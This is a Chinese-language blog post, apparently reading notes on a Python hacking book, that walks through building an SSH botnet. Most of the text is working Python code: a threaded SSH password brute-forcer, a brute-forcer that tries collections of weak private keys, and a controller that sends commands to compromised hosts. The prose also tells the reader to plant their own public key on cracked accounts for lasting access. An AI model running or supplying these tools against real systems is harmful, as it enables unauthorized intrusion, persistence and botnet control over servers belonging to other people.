Python構建一個SSH殭屍網絡
可以看一下我們自己的網站的入侵檢測系統(IDE)日誌/var/log/auth.log中最近的SSH攻擊記錄,我們可以觀察到:攻擊者試圖使用用戶登錄系統,遠程IP正試圖暴力生成密碼破解密碼。
![成為頂級黑客--python絕技 閱讀筆記(五)](http://p2.ttnews.xyz/loading.gif)
實現暴力破解的SSH蠕蟲
我們使用一個第三方模塊--Pexpect,它可以實現與程序交互,等待預期的屏幕輸出,並據此做出不同的響應。
利用pexpect庫進行SSH連接
這個步驟本質上講的就是不用每次都輸入yes,或者是人工輸入ssh root' '127.0.0.1' ',就是直接運行腳本連接。
輸入:用戶名 主機名 密碼 例如 root '127.0.0.1' 123456
輸出:超時,主機已使用新的公鑰或者驗證通過
import pexpect PROMPT = ['# ', '>>> ', '> ', "\$ "] def sen_command(child, cmd): child.sendline(cmd) child.expect(PROMPT) print(child.before) def connect(user, host, password): ssh_newkey = 'are you sure you want to continue connecting' conn_str = 'ssh ' + user + '@' + host child = pexpect.spawn(conn_str) ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) if ret == 0: print('[-] error connecting') return if ret == 1: child.sendline('yes') ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:']) if ret == 0: print('[-] error connecting') return child.sendline(password) child.expect(PROMPT) return child
執行暴力破解任務
整體思路是將上面靜態輸入的用戶名,密碼,改成暴力破解中字典中需要遍歷嘗試的用戶名和密碼們,我們在connect方法中加入反饋機制,如果connect反饋不可以連接那麼繼續換用戶名和密碼們。本例只涉及對特定用戶名,我們暴力破解特定用戶的密碼。
from pexpect import pxssh import optparse import time from threading import * maxconnections = 5 connectionlock = BoundedSemaphore(value=maxconnections) isfound = False fails = 0 def connect(host, user, password, release): global isfound global fails try: s = pxssh.pxssh() s.login(host, user, password) print('[+] Password Found: ' + password) Found = True except Exception as e: if 'read_nonblocking' in str(e): fails += 1 time.sleep(5) connect(host, user, password, False) elif 'synchronize with original prompt' in str(e): time.sleep(1) connect(host, user, password, False) finally: if release: connectionlock.release() def main(): parser = optparse.OptionParser('usage %prog -H -u -F ') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-F', dest='passwdFile', type='string', help='specify password file') parser.add_option('-u', dest='user', type='string', help='specify the user') (options, args) = parser.parse_args() host = options.tgtHost passwdFile = options.passwdFile user = options.user if host == None or passwdFile == None or user == None: print(parser.usage) exit(0) fn = open(passwdFile, 'r') for line in fn.readlines(): if isfound: print("[*] Exiting: Password Found") exit(0) if fails > 5: print("[!] Exiting: Too Many Socket Timeouts") exit(0) connectionlock.acquire() password = line.strip('\r').strip('\n') print("[-] Testing: " + str(password)) t = Thread(target=connect, args=(host, user, password, True)) child = t.start() if __name__ == '__main__': main()
SSH弱密鑰
![成為頂級黑客--python絕技 閱讀筆記(五)](http://p2.ttnews.xyz/loading.gif)
生成一對密鑰
利用密鑰生成器製作一對密鑰:公鑰和私鑰。將公鑰添加到服務器的某個賬戶上,然後在客戶端利用私鑰即可完成認證並登錄。如果沒有私鑰,即使通過SSH 暴力破解出密碼也無法遠程登錄系統。此外,如果將公鑰複製到其他賬戶甚至主機,利用私鑰也可以登錄。意思就是上一個步驟用暴力破解密碼後,我們需要把公鑰複製到被破解用戶的ssh文件下,這樣我們可以在自己電腦上連接它的服務器了。
#!/usr/bin/python # -*- coding: utf-8 -*- import pexpect import optparse import os from threading import * maxconnections = 5 connectionlock = BoundedSemaphore(value=maxconnections) stop = False fails = 0 def connect(user, host, keyfile, release): global stop global fails try: perm_denied = 'Permission denied' ssh_newkey = 'Are you sure you want to continue' conn_closed = 'Connection closed by remote host' opt = ' -o PasswordAuthentication=no'## connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt child = pexpect.spawn(connStr) ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_newkey, conn_closed, '$', '#', ]) if ret == 2: print('[-] Adding Host to ~/.ssh/known_hosts') child.sendline('yes') connect(user, host, keyfile, False)##kryfile 1024,2048,4096密鑰文件 elif ret == 3: print('[-] Connection Closed By Remote Host') fails += 1 elif ret > 3: print('[+] Success. ' + str(keyfile)) stop = True finally: if release: connectionlock.release() def main(): parser = optparse.OptionParser('usage %prog -H -u -d ') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys') parser.add_option('-u', dest='user', type='string', help='specify the user') (options, args) = parser.parse_args() host = options.tgtHost passDir = options.passDir user = options.user if host == None or passDir == None or user == None: print(parser.usage) exit(0) for filename in os.listdir(passDir): if stop: print('[*] Exiting: Key Found.') exit(0) if fails > 5:#IPS阻止連接 print('[!] Exiting: Too Many Connections Closed By Remote Host.') print('[!] Adjust number of simultaneous threads.') exit(0) connectionlock.acquire() fullpath = os.path.join(passDir, filename) print('[-] Testing keyfile ' + str(fullpath)) t = Thread(target=connect, args=(user, host, fullpath, True)) child = t.start() if __name__ == '__main__': main()
構建殭屍網絡
被黑掉的計算機群,叫做殭屍網絡,並且其中每個計算機都有能連接某臺肉機,並把命令發送給肉機的能力。需要構造一個全局數組儲存殭屍計算機信息,然後發佈命令時,遍歷整個數組。
深信服殭屍網絡雲檢測平臺
#!/usr/bin/python # -*- coding: utf-8 -*- from pexpect import pxssh class Client: def __init__(self, host, user, password): self.host = host self.user = user self.password = password self.session = self.connect() def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception as e: print(e) print('[-] error connecting') def send_command(self, cmd): self.session.sendline(cmd) self.session.prompt() return self.session.before def botnetCommand(command): for client in botNet: output = client.send_command(command) print('[*] Output from ' + client.host) print('[+] ' + output) def addClient(host, user, password): client = Client(host, user, password) botNet.append(client) botNet = [] addClient('127.0.0.1', 'root', 'toor') addClient('127.0.0.1', 'root', 'toor') addClient('127.0.0.1', 'root', 'toor') botnetCommand('uname -v') botnetCommand('cat /etc/issue')